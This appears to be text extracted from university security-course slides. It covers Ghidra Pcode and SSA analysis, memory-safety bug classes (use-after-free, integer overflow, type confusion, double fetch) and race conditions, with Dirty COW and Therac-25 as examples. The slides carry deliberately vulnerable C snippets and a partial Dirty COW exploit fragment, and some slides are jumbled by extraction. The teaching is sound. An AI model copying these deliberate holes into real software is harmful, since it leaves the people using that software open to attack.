11/02/2021 Heap 46
Back to Ghidra

If we have some time...

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 47
Reversing with Ghidra may
come handy

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 48
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));

int number;
scanf("%u", &number);

if (number > bowl_size)


number = bowl_size - 1;

// Copy at most bowl_size characters into the buffer


for (int i=0; i <= number; i++)
{
bowl[i] = ingredients[i];
}
}
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 49
fill_bowl
• Our goal: write a Ghidra script that verifies
...

{ local_20 <= bowl_size - 1 }


while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}

If an input violates this condition, find that input

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 50
fill_bowl, IR and CFG

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 51
Ghidra’s Pcode
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD
(stack, 0xffffffffffffffdc, 4) ,
(const, 0x1, 4)
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 52
Program Analysis Basics
• Intermediate Representations

• Control Flow Graphs (CFG) and Basic blocks

• Dataflow Analysis and Def-use Chains

• Static Single Assignment Form (SSA Form)

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 53
Def-use Chains

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 54
SSA Form
• Easy case
x = INPUT; x1 = INPUT;
y = x + 10; becomes y = x1 + 10;
x = x + y; x2 = x1 + y
The 2 definitions of x become definitions of x1
and x2 respectively

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 55
Static Single Assignment (SSA
Form)
• Multiple definitions for a given use
• E.g., def-use chains for local_24: (5,6) and (9,6)
• That’s inconvenient!

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 56
SSA Form
• SSA form transforms the 3-address code of a
program so that each variable is defined exactly
once (statically)
• Standard and universally applied technique in
static analysis
• Cytron et al. “Efficiently Computing Static Single
Assignment Form and the Control Dependence
Graph”, TOPLAS 1991

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 57
Phi-nodes
• If-then-else
if (a>0) if (a>0)
x = 5; x1 = 5;
else becomes else
x = 10; x2 = 10;
x3 = phi(x1,x2)
Phi-node introduces a (static) definition of x, x3.
If control took True arm, then x3 is x1, other-
wise it is x2.
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 58
Phi-nodes
• Loops
x = 0; x1 = 0;
x2 = phi(x1,x3)
while (x<=n) while (x2<=n)
x = x + 1; x3 = x2 + 1;

If control took forward edge, x2 is x1;


otherwise, i.e., control took back edge, it is x3.
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 59
fill_bowl Example, in SSA Form
• Now there is a single def-use chain for
local_24_2: (6,7)

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 60
Putting it all Together in Ghidra
• Essential classes and methods:
– PcodeOp, Varnode, PcodeBlockBasic
– var.getDef() retrieves definition of var
• Phi-nodes: MULTIEQUAL
(stack, 0xffffffffffffffe0, 4)
MULTIEQUAL
(stack, 0xffffffffffffffe0, 4) ,
(register, 0x0, 4)

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 61
Ghidra Example

VC Script
RPISEC - 02/27/2019
11/02/2021
Demo
ASLR
Heap 62
Lecture Selanjutnya
More Types of Bugs

Some Cool Bug Classes


Slides by RPISEC, Brian Callahan, and Ana
Milanova

11/09/2021 Miscellaneous Types of Bugs 1


Announcement
• No office hour today
• If you have questions, please post on
Submitty

11/09/2021 Miscellaneous Types of Bugs 2


Agenda
1. Recap
2. Uninitialized Memory
3. Integer Issues
4. Type Confusion
5. Double Fetch

11/09/2021 Miscellaneous Types of Bugs 3


Recap

11/09/2021 Miscellaneous Types of Bugs 4


Pattern Recognition
- Most if not all the bugs we’ve exploited so far depend
on us recognizing patterns of mistakes

- Pair/triple up for a bit and comb through your


completed labs
- Find the patterns, be prepared to report back!

11/09/2021 Miscellaneous Types of Bugs 5


Pattern Recognition (My List)
• Buffer overflow
– On stack: we typically overflow a return address
– On heap: we typically overflow a function pointer
– Many tools exist, especially research prototypes, static or dynamic
• Information leaks
– Data flow from a libc source to a printf sink
– There are some tools, but unclear how effective they are
• UAF
– Dangling pointers
– Dangerous pointers (type confusion)

11/09/2021 Miscellaneous Types of Bugs 6


Some Notes
• Always try system before trying a ROP chain
– Binaries run in /bin/ directory! checksec
• Type confusion comes up frequently

• Attack via a function pointer


– One pattern that has come up A LOT
char buf[100]; // large buffer we control
fgets(buf, 100, stdin);
g.func(); // we control function pointer

11/09/2021 Miscellaneous Types of Bugs 7


Heap Allocations ...

1024 bytes
• We call malloc(1024)
• Then we call some more:
• malloc(4096) 4096 bytes
• malloc(1024)
• GROWS DOWN (towards higher
address) 1024 bytes

Heap

11/09/2021 Miscellaneous Types of Bugs 8


Deallocation ...

1024 bytes
• We can free() the 4096
• Got this freed block in the middle
• If we malloc(4096) we are likely to get 4096 byte
hole (freed)
the same block

1024 bytes
• There are many heap implementations.
Some might do this differently Heap

11/09/2021 Miscellaneous Types of Bugs 9


Overflow ...

AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
• Just like with stack if we use gets AAAAAAAAAAAAAAAA
there is buffer overflow AAAAAAAAAAAAAAAA
...
• There is no return address 4096Overflow
Heap bytes
1024 bytes

• But there is still a lot of other data


there (metadata, pointers, other 1024 bytes

blocks, …) Heap

11/09/2021 Miscellaneous Types of Bugs 10


UAF
• A bug where memory is accessed via a pointer, after it has
been freed

• A dangling pointer
x = malloc(n); … free(x); … … x->f …
• A dangerous pointer (type confusion)
x = malloc(n); … free(x); … y = malloc(n)
… use y as x or use x as y …

11/09/2021 Miscellaneous Types of Bugs 11


Heaps of Fun
• At a high level we can think of the heap as blocks of
memory

Free Free Free Free Free Free

• When we malloc() we claim one of the blocks

Apple Free Free Free Free Free

11/09/2021 Miscellaneous Types of Bugs 12


Heaps of Fun
• We get a pointer to this block

Apple Free Free Free Free Free

Apple* a;

11/09/2021 Miscellaneous Types of Bugs 13


Heaps of Fun
• When we free() it the block gets freed up

Free Free Free Free Free Free

Apple* a;

• But our pointer still points to the free chunk


– Here we have a dangling pointer
• We need to make sure we don't use it again
11/09/2021 Miscellaneous Types of Bugs 14
Heaps of Fun
• Just because it’s free, it doesn't mean it’s empty
– The data is still there, just marked as free

Apple
Free Free Free Free Free Free

Apple* a;

• That's why sometimes, it still works


• Lesson: Always NULL AWAY pointer: free(a); a = NULL;

11/09/2021 Miscellaneous Types of Bugs 15


Dangerous Pointers (Type
Confusion)
• Here are multiple objects on the heap
struct Apple* a = malloc(sizeof(struct Apple))
struct Orange* b = malloc(sizeof(struct Orange))

Apple Orange Free Free Free Free

Apple* a; Orange* b;

11/09/2021 Miscellaneous Types of Bugs 16


Dangerous Pointers (Type
Confusion)
• What if we free the apple first?
struct Apple* a = malloc(sizeof(struct Apple))
free(a);
struct Orange* b = malloc(sizeof(struct Orange))

Apple
Free Free Free Free Free Free

Apple* a;

11/09/2021 Miscellaneous Types of Bugs 17


Dangerous Pointers
• What if we free the apple first?
struct Apple* a = malloc(sizeof(struct Apple))
free(a);
struct Orange* b = malloc(sizeof(struct Orange))

Orange
Orange Free Free Free Free Free

● Both a and b point to the orange.


Apple* a; Orange* b; ● Computer thinks a is still an apple.

11/09/2021 Miscellaneous Types of Bugs 18


Uninitialized Memory

11/09/2021 Miscellaneous Types of Bugs 19


Uninitialized Memory

• Memory is declared, but used


before it is set

11/09/2021 Miscellaneous Types of Bugs 20


Uninitialized Memory
... ● We freed a block and now we want to
allocate something in there again
1024 bytes

AAAAAAAAAAAAA
AAAAAAAAAAAAA
4096 bytes
AAA(freed)AAA
AAAAAAAAAAAAA

Heap
11/09/2021 Miscellaneous Types of Bugs 21
Uninitialized Memory
... ● We freed a block and now we want to
allocate something in there again
1024 bytes
● We may get the same spot
0x7FFAD320C18
2048 bytes ● Typically, data stays (in this case A’s)
AAAAAAAAAAAAA ● It may leak useful information, e.g., a libc
4096 bytes pointer
AAA(freed)AAA
AAAAAAAAAAAAA

Heap
11/09/2021 Miscellaneous Types of Bugs 22
Uninitialized on Wargames

11/09/2021 Miscellaneous Types of Bugs 23


Integer Issues

11/09/2021 Miscellaneous Types of Bugs 24


Integers
• Integers hold numbers:
– unsigned int value = 44;
• Integer types vary in ‘width’
– short : 2 bytes (0x0000)
– int : 4 bytes (0x00000000)
– int32_t : 4 bytes (0x00000000)
– int64_t : 8 bytes (0x0000000000000000)

11/09/2021 Miscellaneous Types of Bugs 25


Sizes
● int, int32_t
○ INT_MIN –2147483648 (0x80000000)
○ INT_MAX 2147483647 (0x7FFFFFFF)

● unsigned int, uint32_t


○ UINT_MIN 0 (0x00000000)
○ UINT_MAX 4294967295 (0xFFFFFFFF)

11/09/2021 Miscellaneous Types of Bugs 26


Sizes
● long long, int64_t
○ _I64_MIN -9223372036854775808
○ _I64_MAX 9223372036854775807

● unsigned long long, uint64_t


○ _UI64_MIN 0
○ _UI64_MAX 18446744073709551615

11/09/2021 Miscellaneous Types of Bugs 27


But have you ever done this?
unsigned int value = 4294967295; // UINT_MAX

// prints 4294967295
printf(“Integer value is %u\n”, value);

// increment the value up by one


value += 1;

// prints ... ????


printf(“Integer value is %u\n”, value);

11/09/2021 Miscellaneous Types of Bugs 28


Integer Overflow
• Becomes 0xFFFFFFFF + 1

0x100000000
32bit Integer
11/09/2021 Miscellaneous Types of Bugs 29
Oh no
• When looked at as a 32 bit value it’s now zero …
• Is that the only problem?

• What if we have:
0 - 1 = ???

11/09/2021 Miscellaneous Types of Bugs 30


Integer Underflow
• 0 - 1 = 0xFFFFFFFF (-1)
• But if unsigned int type, that’s a big number :)

11/09/2021 Miscellaneous Types of Bugs 31


Real examples

11/09/2021 Miscellaneous Types of Bugs 32


Real examples

11/09/2021 Miscellaneous Types of Bugs 33


Real examples

UINT_MAX=4294967295

11/09/2021 Miscellaneous Types of Bugs 34


Real examples

11/09/2021 Miscellaneous Types of Bugs 35


Real examples

LONG_MIN=-922337203685477580

8
11/09/2021 Miscellaneous Types of Bugs 36
Signed Vs. Unsigned
● Integer types can be ‘signed’ or ‘unsigned’
○ int value = 44;
○ unsigned int value = 44;

● ‘signed’ integers can be positive or negative


○ int value = 44;
○ int value = -100;

11/09/2021 Miscellaneous Types of Bugs 37


Signed Vs. Unsigned
● The most significant bit indicates sign:
○ so 44 is:
■ 0x0000002C
■ 00000000000000000000000000101100
○ so -100 is:
■ 0xFFFFFF9C
■ 11111111111111111111111110011100

11/09/2021 Miscellaneous Types of Bugs 38


Comp Org Stuff: Two’s
Complement
• 100
– 00000000000000000000000001100100

– 11111111111111111111111110011011
+
1
– 11111111111111111111111110011100
0xFFFFFF9C
• -100
11111111111111111111111110011100
0xFFFFFF9C

11/09/2021 Miscellaneous Types of Bugs 39


PSoft: Java
blic class A {
pu

public static void main(String args[]) {


System.out.println(Integer.MAX_VALUE);
// prints 2147483647
System.out.println(Integer.MIN_VALUE);
// prints what?
System.out.println(
Math.abs(Integer.MIN_VALUE) >= 0
);
// prints what?
}
}

11/09/2021 Miscellaneous Types of Bugs 40


Characters
● What does your computer think the decimal
values of these characters are?
○ 0x41
○ 0x7F
○ 0x80
○ 0xFF

11/09/2021 Miscellaneous Types of Bugs 41


Signed vs. Unsigned characters
• Default signedness of characters is a CPU-dependent
feature!
– x86: signed
– arm: unsigned

11/09/2021 Miscellaneous Types of Bugs 42


Casting and Truncation
• If you cast a 64 bit number to 32 bit
• It will only look at last 32 bits
• 0x4141414100000052

11/09/2021 Miscellaneous Types of Bugs 43


Integer Issues on Wargames

11/09/2021 Miscellaneous Types of Bugs 44


Off-by-One
• People are bad
• Like to make small mistakes that are so close …
• E.g.:

for(int i = 0; i <= sizeof(buf); i++)

A A A A A A A A A A A A
B B B B

11/09/2021 Miscellaneous Types of Bugs 45


Type Confusion

Again

11/09/2021 Miscellaneous Types of Bugs 46


Type Confusion
• Have two thing with different types
• What happens if you mix them up?

11/09/2021 Miscellaneous Types of Bugs 47


Type Confusion Example
struct cat {
void (* print)(char *);
char name[32];
...
};
struct dog {
char name[32];
void (* print)(char *);
...
};

11/09/2021 Miscellaneous Types of Bugs 48


Double Fetch

11/09/2021 Miscellaneous Types of Bugs 49


Double Fetch
• Check of value is decoupled from use of value:
– TOCTOU
• If there is an interleaving call/statement that has side
effects on value, then check is no longer valid!

1. check(loc)
2. may_modify(loc)
3. use(loc)

11/09/2021 Miscellaneous Types of Bugs 50


Double Fetch
• Fetch (check) -> Side effect -> Fetch again (use):
char * buf = malloc(bar->name_len);
...
modifies_bar(bar);
...
memcpy(buf, bar->name, bar->name_len);

11/09/2021 Miscellaneous Types of Bugs 51


Double Fetch
• Fetch (check) -> Side effect -> Fetch again (use):
char * buf = malloc(bar->name_len);
...
modifies_bar(bar); ← Changes name_len+= 200
...
memcpy(buf, bar->name, bar->name_len);

11/09/2021 Miscellaneous Types of Bugs 52


Double Fetch
Classical data race:

if (x != 0) { // Thread A fetches x
// Thread B interrupts, sets x = 0
y = z/x; // Thread A fetches x and it is 0

}

11/09/2021 Miscellaneous Types of Bugs 53


Double Fetch on Wargames

11/09/2021 Miscellaneous Types of Bugs 54


Questions?

And there are even more classes of bugs!

11/09/2021 Miscellaneous Types of Bugs 55


Lecture Selanjutnya
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/
• Chapter 10 (Race Conditions) is last chapter in
Wargames
• Next week is Thanksgiving week
– Lecture: discussion of lessons learned
– Lab: catch-up 8-10, intro to Project 2

• Last weeks lectures: topics in security


RPISEC - 04/03/2019
11/16/2021 Race Conditions 1
Schedule
• I will update Rainbow grades with Ch. 8 to Ch. 10
after “catch-up class” next week

• If you think your Rainbow grades don’t match


Wargames, let me know

RPISEC - 04/03/2019
11/16/2021 Race Conditions 2
Race Conditions

Vroom Vroom
(Notes by RPISEC and Ana Milanova)

RPISEC - 04/03/2019
11/16/2021
11/18/2019 Race Conditions 3
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 4
Uninitialized Memory

Memory is used before it’s set

RPISEC - 04/03/2019
11/16/2021 Race Conditions 5
Uninitialized Memory
struct car {
char* make;
char* model;
void (*drive)();
HE
}; RE
struct car *vroom;
while(1) { car T{
HE
int choice = get_int(); makeR = …
E
switch(choice) { model B = …
case 1: drive E= …
car *vroom = (struct car *) malloc(sizeof(struct car));
DR
} AG
car.[...] = ...
ON
break; S
case 2:
free(vroom);
break;
case 3:
vroom->drive();
break;
RPISEC - ...
04/03/2019
11/16/2021 Race Conditions 6
Uninitialized Memory
struct car {
char* make;
char* model;
void (*drive)();
HE
}; RE
struct car *vroom;
while(1) { car T{
HE
int choice = get_int(); makeR = …
E
switch(choice) { model B = …
case 1: drive E= …
car *vroom = (struct car *) malloc(sizeof(struct car));
DR
} AG
car.[...] = ...
ON
break; S
case 2:
free(vroom);
break;
case 3:
vroom->drive();
break;
RPISEC - ...
04/03/2019
11/16/2021 Race Conditions 7
Uninitialized Memory
• Uninitialized memory on the stack?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 8
Dangling Pointer

A pointer that references freed


memory

RPISEC - 04/03/2019
11/16/2021 Race Conditions 9
Dangling Pointer
What happens when we forget to clean up after ourselves?
struct car {
char* make; struct car {
char* make;
char* model; char* model;
void (*drive)(); void (*drive)();
}; };

DA
car *vroom;

NG
struct car *vroom;
while(1) { car {

ER
while(1) { int choice = get_int();
int choice = get_int(); switch(choice) { make = …

DA
case 1: model = …
switch(choice) {

NG
car *vroom = (struct car *)

ER
case 1: malloc(sizeof(struct car)); drive = …
car *vroom = (structcar.[...]
car *) =malloc(sizeof(struct
... car)); }

DA
car.[...] = ... break;

NG
case 2:

ER
break; free(vroom);
case 2: break;
free(vroom); case 3:
vroom->drive();
break;
break;
case 3: ...
vroom->drive();
RPISEC - break;
04/03/2019
11/16/2021 Race Conditions 10
...
Dangling Pointer
What happens when we forget to clean up after ourselves?
struct car {
char* make; struct car {
char* make;
char* model; char* model;
void (*drive)(); void (*drive)();
}; };

DA
car *vroom;

NG
struct car *vroom;
while(1) { car {

ER
while(1) { int choice = get_int();
int choice = get_int(); switch(choice) { make = …

DA
case 1: model = …
switch(choice) {

NG
car *vroom = (struct car *)

ER
case 1: malloc(sizeof(struct car)); drive = …
car *vroom = (structcar.[...]
car *) =malloc(sizeof(struct
... car)); }

DA
car.[...] = ... break;

NG
case 2:

ER
break; free(vroom);
case 2: break;
free(vroom); case 3:
vroom->drive();
break;
break;
case 3: ...
vroom->drive();
RPISEC - break;
04/03/2019
11/16/2021 Race Conditions 11
...
Use After Free

Accessing freed memory through a


dangling or “dangerous” pointer

RPISEC - 04/03/2019
11/16/2021 Race Conditions 12
UAFs (Assume: we malloc-ed(car) -> 2 (free) -> 1 (another malloc))
...
while(1) {
int choice = get_int();
switch(choice) {
case 1:
char[32] message;
fgets(message, 32, stdin); car {
char *vuln = (char *) malloc(strlen(message));
make = …
strcpy(vuln, message, strlen(message));
break;
model = …
case 2: drive = …
free(vroom); }
break;
case 3:
vroom->drive();
break;
...

RPISEC - 04/03/2019
11/16/2021 Race Conditions 13
UAFs
...
while(1) {
int choice = get_int();
switch(choice) {
case 1:
char[32] message;
fgets(message, 32, stdin); car {
char *vuln = (char *) malloc(strlen(message));
make = 0x4141…
strcpy(vuln, message, strlen(message));
break;
model = 0x4141…
case 2: drive = 0x4141…
free(vroom); }
break;
case 3:
vroom->drive();
break;
...

RPISEC - 04/03/2019
11/16/2021 Race Conditions 14
UAFs
...
while(1) {
int choice = get_int();
switch(choice) {
case 1:
char[32] message;
fgets(message, 32, stdin);
char *vuln = (char *) malloc(strlen(message));
strcpy(vuln, message, strlen(message));
break;
case 2:
free(vroom);
break;
case 3:
vroom->drive();
break;
...

RPISEC - 04/03/2019
11/16/2021 Race Conditions 15
Double Fetch

Variable changes between check and


use

RPISEC - 04/03/2019
11/16/2021 Race Conditions 16
Double Fetch

bar {
name = “Jeff”
name_len = 4
void foo(struct b * bar) }
{
char * buf =
malloc(bar->name_len);
...
...
modifies_bar(bar);
...
memcpy(buf, bar->name, buf
bar->name_len);
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 17
Double Fetch

bar {
name = “AAAAA…”
name_len = 4096
void foo(struct b * bar) }
{
char * buf =
malloc(bar->name_len);
...
...
modifies_bar(bar);
...
memcpy(buf, bar->name, buf
bar->name_len);
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 18
Double Fetch

bar {
name = “AAAAA…”
name_len = 4096
void foo(struct b * bar) }
{
char * buf = AAAAAAAAAAAAAAAAA
malloc(bar->name_len);
...
AAAAAAAAAAAAAAAAA
... AAAAAAAAAAAAAAAAA
modifies_bar(bar); AAAAAAAAAAAAAAAAA
... AAAAAAAAAAAAAAAAA
memcpy(buf, bar->name, AAAAAAAAAAAAAAAAA
bar->name_len);
AAAAAAAAAAAAAAAAA
}
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
RPISEC - 04/03/2019
11/16/2021 Race Conditions 19
Double Fetch
...
if (array.length > 32) { // Time of check
printf("ERROR! Array length is too big (%u > 10)!\n", array.length);
exit(1);
}
...
printf("Debug: Accessing index %u of %s\n", index, getString());
...
if (index >= array.length) { // Time of use
printf("ERROR! Index %u out of range (%lu >= %lu)!\n", index, index,
array.length);
exit(1);
}
...
array.items[index] = value;
...

RPISEC - 04/03/2019
11/16/2021 Race Conditions 20
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 21
pthreads
• High-level library for (POSIX) threads
– Structures and routines for thread
manipulation
– Structures and routines for synchronization

• Each thread executes a function


• Threads can access shared memory

RPISEC - 04/03/2019
11/16/2021 Race Conditions 22
pthreads Thread Management
• Thread creation
r1 = pthread_create(&thread1, NULL, do_work, &thread1_args);
r2 = pthread_create(&thread2, NULL, do_work, &thread2_args);

• Thread join
r3 = pthread_join(thread1, NULL);
r4 = pthread_join(thread2, NULL);

RPISEC - 04/03/2019
11/16/2021 Race Conditions 23
pthreads Example
int main() {
pthread_t thread1, thread2;
int num = 0;
pthread_create( &thread1, NULL, count, (void*) &num ); 1
pthread_create( &thread2, NULL, count, (void*) &num ); 3
// wait for both threads to finish before returning
4
pthread_join( thread1, NULL );
pthread_join( thread2, NULL );
5
return 0; 6
} ...
46
void *count( void *ptr ) { 47
int *num = (int*) ptr;
7
while( *num < 50 ) {
++(*num)
49
printf( "%d\n", *num ); 50
} 50
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 24
Context Switching
• Can we have more threads than CPU
cores?
– Just switch between them really
fast
Core 2
– Time is split between all threads 25

– Scheduling is handled by the kernel


Core 4
25

RPISEC - 04/03/2019
11/16/2021 Race Conditions 25
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 26
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 27
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 28
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 29
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 30
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 31
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 32
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 33
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 34
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 35
Context Switching Example
Thread 1
What if context switch happens void *count( void *ptr ) {
during a sensitive operation? int *num = (int*) ptr;
while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}
Thread 2
rylan@esker-173:~$ void *count( void *ptr ) {
1 int *num = (int*) ptr;
1 while( *num < 50 ) {
++(*num);
int tmp = (*num);
printf( "%d\n", tmp );
}
}

RPISEC - 04/03/2019
11/16/2021 Race Conditions 36
mutex
mutual exclusion
• Adds synchronization to protect
shared memory from access by
other threads no u

• You don’t have to worry about


synchronization in the labs...

pthread_mutex_lock(&lock);
shared = 0;
pthread_mutex_unlock(&lock);

RPISEC - 04/03/2019
11/16/2021 Race Conditions 37
mutex
mutual exclusion
• Adds synchronization to protect
shared memory from access by
other threads no u

• You don’t have to worry about


synchronization in the labs...

pthread_mutex_lock(&lock);
++(*num);
pthread_mutex_unlock(&lock);

RPISEC - 04/03/2019
11/16/2021 Race Conditions 38
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 39
Race Conditions
• When multiple threads access a
shared resource, they can “race” for
it
– Adding synchronization (e.g., through a
mutex lock) may prevent certain race
conditions
– But doing so will slow the program down

RPISEC - 04/03/2019
11/16/2021 Race Conditions 40
Data Race
• The data race is the most common type of race
condition
• A data race occurs when two threads access the same
memory location simultaneously, and at least one
access is a write

z = y/x

RPISEC - 04/03/2019
11/16/2021 Race Conditions 41
Data Race
• The data race is a classical case of heisenbug
– A heisenbug is a bug that disappears when an attempt is made to
study it

RPISEC - 04/03/2019
11/16/2021 Race Conditions 42
Data Race
class Account {
int balance = 0;
void deposit(int x) { this.balance = this.balance + x; }
}
class AccountTask implements Runnable {
public void run() { Main.act.deposit(10); }
}

public class Main {


static Account act = new Account();
public static void main(String args[]) {
new Thread(new AccountTask()).start(); // Thread A
new Thread(new AccountTask()).start(); // Thread B
}11/16/2021
RPISEC - 04/03/2019 Race Conditions 43
TOCTOU
Time of Check to Time of Use
• Race conditions often give rise to such bugs
– The system can change between the check and use
(e.g., of a conditional variable, credential, file)
– Mainly used in the context of file system races

z = y/x

RPISEC - 04/03/2019
11/16/2021 Race Conditions 44
Agenda
1. Recap
2. Threads
3. Race Conditions
4. Why This Matters
5. Questions?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 45
46
47
48
https://dirtycow.ninja/
49
50
"A race condition was found in the way the Linux kernel's
memory subsystem handled the copy-on-write (COW) breakage of
private read-only memory mappings. An unprivileged local user
could use this flaw to gain write access to otherwise read-only
memory mappings and thus increase their privileges on the
system." (from https://dirtycow.ninja)
...

printf("Racing, this may take a while..\n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary);


pthread_create(&pth2, NULL, &procselfmemThread, payload);

...

51
52
53
54
55
Therac-25
• One of the most infamous software bugs in history

• In the 1980-ties several patients died or were severely


injured by excessive radiation emitted by the Therac-25
during radiation therapy

• The malfunction was traced to a race condition

z = y/x

RPISEC - 04/03/2019
11/16/2021 Race Conditions 56
Datarace on Wargames

RPISEC - 04/03/2019
11/16/2021 Race Conditions 57
Questions?

RPISEC - 04/03/2019
11/16/2021 Race Conditions 58
Concurrency Bugs
• New types of bugs occur in concurrent programs

– Race conditions
– Atomicity violations
– Deadlocks

• Nondeterminism in concurrency makes reasoning about


program behavior extremely difficult
– Bugs that disappear when we make an attempt to study them (or
exploit them)

RPISEC - 04/03/2019
11/16/2021 Race Conditions 59
Atomicity Violation
• Informally, a function/section of code is said to be
atomic if its behavior when executed in “one step” is the
same as its behavior when interrupted by other threads

• A function/section of code is atomic if it appears to


execute in “one step” even in the presence of multiple
threads

• Atomicity is a stronger correctness property than race


RPISEC
freedom
- 04/03/2019
11/16/2021 Race Conditions 60
Bug or No Bug?
• Can be hard to spot void foo(struct b * bar)
{
No mutex char * buf = malloc(bar->name_len);
memcpy(buf, bar->name,bar->name_len);
– TOCTOU bugs are more // do something with buf
common }

– Also hard to exploit


– This is also an example void exploit(struct b * bar)
of an “atomicity error” {
while(1) {
